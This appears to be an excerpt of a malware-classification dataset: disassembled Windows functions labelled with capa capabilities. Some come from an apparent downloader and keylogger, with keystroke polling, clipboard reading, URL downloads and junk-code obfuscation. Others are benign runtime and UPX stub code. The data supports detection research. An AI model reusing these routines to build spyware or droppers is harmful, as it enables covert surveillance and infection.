joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46c328
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46c4e3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x472694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
mov dword [0x473e10], 0x267d96
call sub.kernel32.dll_GetTickCount_1
add eax, 0x32029c
mov dword [0x473e14], eax
mov dword [0x473c18], 0x2808a211
mov dword [0x473e14], 0x247653
test ebx, ebx
je 0x46c459
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46c453
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
mov dword [0x473e10], 0x3aaf8a
mov eax, 0x2d6a5f
call fcn.00402da8
mov dword [0x473e10], eax
cmp dword [ebp - 8], 0
jne 0x46c3dd
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46c4fc
call fcn.00404568
je 0x46c49a
push 0x668a0
call sub.kernel32.dll_Sleep_1
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046c328
jmp 0x46c4b5
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c4ea
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46c500
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46c728
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x47269c]
mov edx, dword [0x473c68]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.kernel32.dll__lopen
mov ebx, eax
cmp ebx, 0xffffffff
je 0x46c5c4
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.kernel32.dll__lread
mov esi, eax
push 0x473c64
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
push ebx
call sub.kernel32.dll__lclose
jmp 0x46c702
push dword [0x472698]
push 0x46c740
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083d8
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046c10c
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046c328
mov edx, dword [ebp - 0x410]
mov eax, 0x473c64
call fcn.004041b0
push 0
push esi
call sub.kernel32.dll__lcreat
mov ebx, eax
mov eax, dword [0x473c64]
call fcn.0040441c
push eax
mov eax, 0x473c64
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov eax, dword [0x473c64]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.kernel32.dll__lwrite
push ebx
call sub.kernel32.dll__lclose
mov dword [0x473e20], 0x11c9
cmp byte [0x473c59], 0
je 0x46c702
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x4726d8]
mov edx, dword [0x473c68]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x4726d8]
mov edx, dword [0x472698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x4726d8]
mov edx, dword [0x473c68]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c72f
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46ccd4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff30
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 4], edx
mov edi, eax
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46ce40
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040415c
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov dword [esi], 0x3fd30c
mov eax, 0x163910
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0xdb150
call sub.kernel32.dll_GetTickCount_1
add eax, 0x111efc
mov dword [esi], eax
mov dword [ebx], 0x2aedd
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2dda0f
mov dword [ebx], eax
mov eax, 0x1a7cfe
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x2d38b9
mov dword [esi], 0x226623
call sub.kernel32.dll_GetTickCount_1
add eax, 0x24db30
mov dword [esi], eax
mov dword [ebx], 0x343cee
mov dword [esi], 0x1c763d
mov dword [ebx], 0x29e9ad
mov dword [0x473c18], 0x9a4cd89
mov eax, 0x2b1c57
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0x169bb7
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x1afc93
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x4033d
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x38a9f2
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x18079d
mov dword [esi], eax
mov eax, 0x12066a
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x29e2e2
mov eax, dword [esi]
call fcn.00402da8
add eax, 0xde660
mov dword [ebx], eax
mov dword [ebx], 0x6f9bc
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
lea eax, [ebp - 4]
mov edx, 0x46ce58
call fcn.00404424
mov dword [0x473e20], 0x34acfdb
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046c750
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ce47
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46ce6c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x46cefe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040415c
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x46cee3
push ebx
call sub.kernel32.dll_GlobalLock
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404354
mov eax, dword [ebp - 4]
call fcn.0040441c
cmp eax, 0xc8
jle 0x46ced3
lea eax, [ebp - 4]
push eax
mov ecx, 0xc8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004041b0
push ebx
call sub.kernel32.dll_GlobalUnlock
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cf05
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46cf0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
mov edi, eax
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46d134
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004047a8
mov dword [ebx], 0x712ed
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x1704b5
mov dword [ebx], eax
mov eax, 0x3064a3
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xcd4e
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x2d3fa4
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x3b6b
mov dword [ebx], eax
mov dword [ebx], 0x197e46
mov dword [ebx], 0x18bd5d
mov dword [esi], 0x38770c
call sub.kernel32.dll_GetTickCount_1
add eax, 0x9b21
mov dword [esi], eax
mov dword [esi], 0x39e0df
mov eax, 0x234230
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x1ae184
mov dword [ebx], eax
mov eax, 0x1734bd
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x1fae9e
mov dword [ebx], 0x268c8
mov dword [esi], 0x3ee278
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x35d6ae
mov dword [ebx], eax
mov eax, 0x2dfb11
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x1d71f
call sub.kernel32.dll_GetTickCount_1
add eax, 0x24ed6
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x209ba4
mov dword [esi], eax
mov eax, 0x2426e7
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x350aaf
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1b65cb
mov dword [esi], eax
mov eax, 0x166e55
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x1e034a
mov dword [ebx], 0x25e8db
mov dword [ebx], 0xb27cb
mov dword [ebx], 0x1239e1
mov dword [esi], 0x3ffa7
mov dword [ebx], 0x13a5c1
mov dword [esi], 0x3d48af
mov dword [ebx], 0xf9cab
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2a31c
mov dword [ebx], eax
mov dword [esi], 0x5fdad
mov dword [esi], 0x19a6e0
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x4f6fb
mov dword [ebx], eax
mov dword [ebx], 0x25c22b
mov eax, 0x19f352
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x38e8c
mov dword [ebx], 0x19199b
mov eax, dword [esi]
call fcn.00402da8
add eax, 0xabbfc
mov dword [ebx], eax
mov eax, 0x30a0d8
call fcn.00402da8
mov dword [ebx], eax
push 0xffffffffffffffff
push 6
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
jne 0x46d0f3
lea eax, [ebp - 4]
call fcn.0040415c
jmp 0x46d10f
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004089b4
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, dword [0x4726b8]
call fcn.00404468
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d13b
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x46d144
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46d25d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x4726bc]
call fcn.0040461c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [0x4726c0]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46d1d7
lea eax, [ebp - 4]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
call fcn.0040441c
test eax, eax
je 0x46d22f
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.00404344
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x46d22f
lea eax, [ebp - 8]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d264
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x46d3a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x46d470
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebx]
push eax
call sub.user32.dll_GetAsyncKeyState
and ax, 1
cmp ax, 1
jne 0x46d43e
mov eax, ebx
add eax, 0xffffffd0
sub eax, 0xa
jb 0x46d3e4
add eax, 0xfffffff9
sub eax, 0x1a
jb 0x46d3e4
add eax, 0xfffffffa
sub eax, 0x1a
jae 0x46d412
push dword [0x473c24]
push 0x46d484
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404344
push dword [ebp - 4]
push 0x46d490
mov eax, 0x473c24
mov edx, 4
call fcn.004044dc
jmp 0x46d43e
push dword [0x473c24]
push 0x46d49c
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004082ec
push dword [ebp - 8]
push 0x46d4a8
mov eax, 0x473c24
mov edx, 4
call fcn.004044dc
inc ebx
cmp ebx, 0x100
jne 0x46d3b8
mov dword [0x473c18], 0x162fe816
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d477
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x401770
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004024f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004024f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4017d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406270]
test esi, esi
jle 0x4018f0
mov eax, dword [0x406274]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401804
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401887
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4017f0
mov dword [esp], ebx
call fcn.004021d0
mov edi, eax
test eax, eax
je 0x401917
mov eax, dword [0x406274]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402310
mov edx, dword [0x406274]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4018f7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401880
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401890
add dword [0x406270], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406274]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401880
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401770
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40180e
mov eax, dword [0x406274]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401770
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401770
lea esi, cs:[esi]
nop
Function at 0x401e40
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40628c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406284]
sub esp, 4
test ebx, ebx
je 0x401e95
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401e8e
test eax, eax
jne 0x401e8e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e70
mov dword [esp], 0x40628c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4021d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402200
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402248
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40223e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40224a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402230
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4300b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1b000]
push edi
or ebp, 0xffffffff
jmp 0x4300d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4300d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4300c8
mov eax, 1
add ebx, ebx
jne 0x4300eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4300e0
jne 0x4300fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4300e0
xor ecx, ecx
sub eax, 3
jb 0x430110
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x430182
mov ebp, eax
add ebx, ebx
jne 0x43011b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x430128
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43014c
inc ecx
add ebx, ebx
jne 0x430138
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43012d
jne 0x430149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43012d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43016c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43015d
jmp 0x4300ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43016c
add edi, ecx
jmp 0x4300ce
pop esi
mov edi, esi
mov ecx, 0xbc4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43018a
cmp byte [edi], 1
jne 0x43018a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43018f
lea edi, [esi + 0x2e000]
mov eax, dword [edi]
or eax, eax
je 0x4301fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3088c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x308c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4301bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x308cc]
or eax, eax
je 0x4301f8
mov dword [ebx], eax
add ebx, 4
jmp 0x4301d9
call dword [esi + 0x308d0]
popal
jmp 0x412ec2
Function at 0x1003e61
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x114
mov eax, 0x100ae22
call fcn.01009eeb
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
lea ecx, [ebp - 0x118]
push ecx
push 1
xor edi, edi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
cmp ebx, edi
jne 0x1003efc
cmp esi, edi
mov dword [ebp - 0x120], edi
jne 0x1003eb9
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x11c], 0x104
push eax
jmp 0x1003ed5
mov eax, dword [ebp + 0x18]
push eax
push edi
push esi
mov dword [ebp - 0x11c], eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
push esi
lea eax, [ebp - 0x120]
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x118]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, edi
lea ecx, [ebp + 0xc]
sete bl
call fcn.010094b8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.010094b8
mov al, bl
call fcn.01009f3f
ret 0x14

Function at 0x1004270
Capabilities:
Get common file path
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c4
mov eax, dword [0x100d5e4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1a0]
push eax
mov dword [ebp - 0x1a0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x105
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1004329
push esi
push 0x10018e8
push 0x104
lea eax, [ebp - 0x10c]
push eax
call fcn.010041d0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x1004309
push 0x10018d4
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1004302
lea ecx, [ebp - 0x1c4]
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
cmp word [ebp - 0x1c4], 9
pop esi
jne 0x1004317
inc eax
cmp dword [ebp - 0x190], 2
jne 0x1004329
test eax, eax
je 0x1004329
xor eax, eax
inc eax
jmp 0x100432b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.01009e64
leave
ret
Function at 0x1004493
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push 0x218
mov eax, 0x100aeda
call fcn.01009eeb
mov dword [ebp - 0x224], ecx
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x113]
push ebx
push eax
mov dword [ebp - 4], 2
mov byte [ebp - 0x114], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
add esp, 0x18
mov dword [ebp - 0x220], ebx
inc esi
cmp dword [eax - 8], ebx
je 0x1004510
push eax
push esi
lea eax, [ebp - 0x114]
push eax
call fcn.010036ed
push dword [ebp + 8]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.010036ed
jmp 0x100455f
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x218]
push eax
push esi
push dword [ebp + 8]
call edi
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp + 8]
call edi
test eax, eax
je 0x100455f
lea eax, [ebp - 0x114]
push 0x5c
push eax
call dword [sym.imp.msvcrt.dll_strrchr]
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0x220], eax
je 0x100455f
mov byte [eax], bl
lea eax, [ebp - 0x114]
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100457d
test al, 0x10
je 0x100457d
lea esi, [ebp - 0x114]
push 5
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x218]
push eax
push 0x10018cc
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x10045ee
lea ecx, [ebp - 0x21c]
call sub.MFC42.dll_CString::CString_1
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x21c]
push 0x1001950
push eax
call sub.MFC42.dll_CString::Format
mov ecx, dword [ebp - 0x224]
add esp, 0x10
push ebx
push ebx
push dword [ebp - 0x21c]
call sub.MFC42.dll_CWnd::MessageBoxA
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 2
call fcn.010094b8
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.010094b8
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], bl
call fcn.010094b8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.010094b8
xor al, al
call fcn.01009f3f
ret 0xc